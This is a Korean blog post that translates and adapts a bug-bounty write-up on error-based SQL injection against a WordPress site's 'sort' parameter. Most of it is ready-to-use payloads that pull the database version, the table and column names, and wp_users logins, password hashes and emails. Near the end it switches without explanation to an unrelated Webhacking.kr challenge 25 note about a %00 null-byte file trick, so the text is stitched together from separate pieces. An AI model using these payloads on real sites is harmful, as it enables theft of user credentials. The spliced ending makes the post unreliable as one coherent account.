출처 : https://ynoof.medium.com/error-based-sql-injection-on-a-wordpress-website-and-extract-more-than-150k-user-details-f65f987c2cc0

해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.

Error Based SQL Injection
[정의]
1. 의도적으로 에러를 유발
2. 내가 원하는 에러 메세지를 출력되도록 유도
참고 : https://sang-gamja.tistory.com/26?category=734915

공격자는 우선 wordpress를 타겟으로 공격을 진행하였다고 한다. 이때 공격에 사용되는 url은 target.com으로 진행한다.

우선 공격자는 싱글쿼터('), 더블쿼터("), 슬래쉬(/), 해쉬(#) 등을 이용해 해킹을 시작한다.

공격자는 우선 아래와 같은 공격을 진행했지만 페이지에 보여지는 것은 없었다고 한다.

https://target.com/pages/?sort=1

https://target.com/pages/?sort=1'

보통은 여기서 아무것도 일어나지 않는다면 무심코 지나치겠지만 페이지 소스를 열어 아래와 같은 에러가 발생하였다는 것을 알았다.

<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#039;\\\\\\&#039; ASC LIMIT 10 OFFSET 4120&#039; at line 6]<br /><code>
            SELECT
                p.*,
                c.Name as CategoryName,
                c.Slug as CategorySlug,
                c.Code as CategoryCode,
                (CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != &quot;rejected&quot; AND p.Status != &quot;pending&quot; GROUP BY p.Id ORDER BY p.1\\\\\\&#039; ASC LIMIT 10 OFFSET 4120</code></p></div><!DOCTYPE html>

에러 내용에서 limit가 초과되지 않았다는 것을 알았기에 에러를 없애기위해 아래와 같은 시도를 진행하였다.

https://target.com/pages/?sort=1'--
https://target.com/pages/?sort=1'-- -
https://target.com/pages/?sort=1'/
https://target.com/pages/?sort=1'#

하지만 에러는 고쳐지지 않고 아래와 같은 에러가 떴다.

WordPress database error: [Unknown column &#039;p.1&#039; in &#039;order clause&#039;]
            SELECT
                p.*,
                c.Name as CategoryName,
                c.Slug as CategorySlug,
                c.Code as CategoryCode,
                (CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != &quot;rejected&quot; AND p.Status != &quot;pending&quot; GROUP BY p.Id ORDER BY p.1 ASC LIMIT 10 OFFSET 4120

이 에러는 [Unknown column p.1 in order clause]이다.

따라서 sort 파라미터의 값을 대신하기 위해서 위 에러메세지에서 알아낸 UpvoteCount, DownvoteCount, CategoryId, AggregatorId, Status, Id 중 하나를 선택해서 진행한다.

https://target.com/pages/?sort=CategoryId

이때 소스페이지에는 에러가 나타나지 않았고 성공적으로 에러를 고쳤다.

우리는 UNION SELECT가 먹히지 않을 때 컴파일된 쿼리를 사용해 동작을 진행할 수 있다.

우리는 아래와 같은 Error-Based Query를 사용할 수 있다.

a. The Used Select Statements Have  Different Number Of Columns.
b. Unknown Column 1 or no columns at all (in webpage and page source)
c._error_ #1604

A. Knowing the DB Version

아래와 같은 쿼리로 DB Version을 얻을 수 있다.

and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

작성자의 경우 아래와 같은 쿼리로 진행하였다.

<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

따라서 우리는 버전을 획득할 수 있었다.

10.3.14-MariaDB

B. Getting the DB Name

우리는 아래와 같은 쿼리로 DB 이름을 알아낼 수 있다.

and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

모든 데이터베이스를 추출하기 위해서 limit 함수를 증가시킨다
예) limit0,1 or limit1,1 or limit2,1...etc

작성자의 경우는 아래와 같이 진행했다.

<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

DB Name 결과는 아래와 같다.

prd2

C. Getting the table naems

우리는 아래와 같은 쿼리로 테이블 이름을 알 수 있다.

and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

작성자는 아래와 같은 쿼리를 진행했다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

획득한 테이블 이름은 아래와 같다.

[Duplicate entry &#039;wp_mail~1; for key group_key] 

limit를 쓰지않고 획득하려면 아래와 같은 쿼리로 얻을 수 있다.

CategoryId+and (select 1 from (select count(*),concat((select(select substring(group_concat(table_name),1,150)) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

만약 substring 함수가 동작하지 않으면 substr 또는 mid 함수를 사용해라.
작성자는 테이블 이름 중 wp_users의 컬럼에 접근하려 한다.

D. Getting columns from wp_users table

우리는 아래와 같은 쿼리로 컬럼에 접근할 수 있다.

and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

작성자는 아래와 같은 쿼리를 사용하였다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

획득한 컬럼은 아래와 같다.

ID
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name

Extracting the data from columns

우리는 데이터를 아래와 같은 쿼리를 사용하여 얻을 수 있다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email) as char),0x7e)) from prd2.wp_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

또는 limit 함수를 사용하지 않고 아래와 같은 쿼리를 사용하여 데이터를 얻을 수 있다.

CategoryId+And(select 1 from(select count(*),concat(0x3a,(select substr(group_concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email),1,150)from prd2.wp_users),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)z)

우선 첫화면이다.

hello world가 적힌 곳은 값은 입력되지만 저장은 안되는 것 같다.

위에 존재하는 리눅스에서 볼 수 있는 파일에 관한 정보가 출력되어있다.

아마 저것이 힌트가 될 듯 싶다.

소스를 봐도 별게 없다.

딱히 인풋값도 넣을 수 있는게 없다.

그런데 주소값을 보니 file = 뒤에 hello가 있다.

아마 파일입력을 저기다 해도 될 듯 싶다.

index파일명을 집어 넣어 보았다.

하지만 변화되는 것은 없다.

password를 집어넣어도 변화가 없다.

쿠키값도 문제가 없다.

뭐가 문제일까 인터넷을 뒤지던 중 문자열을 종결 시키는 %00을 찾았다.

password값으로 넣어 보았더니 답이 출력되었다.

25번 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 27번  (0) 2018.01.02
Webhacking.kr 21번  (0) 2017.12.29
Webhacking.kr 25번  (0) 2017.12.29
Webhacking.kr 18번  (0) 2017.12.27
Webhacking.kr 39번  (0) 2017.12.27
Webhacking.kr 52번  (0) 2017.11.18

+ Recent posts